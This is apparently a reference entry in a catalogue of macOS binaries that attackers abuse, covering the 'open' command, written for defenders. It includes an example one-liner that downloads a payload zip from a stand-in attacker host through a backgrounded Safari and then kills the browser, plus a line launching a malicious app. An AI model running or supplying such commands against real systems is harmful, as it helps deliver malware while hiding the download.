open #

Created by Brendan Chamberlain (@infosecb)

Description ##

The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.

Paths ##

• /usr/bin/open

Use Cases ##

Open a malicious file ##

The open command can be used to open a malicious macOS app from the terminal.

open Malicious.app

Download a malicious file ##

The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

open -g https://mypayload.io/payload.zip; sleep 3; killall Safari

Detections ##

• No detections at time of publishing

Resources ##

• The macOS open Command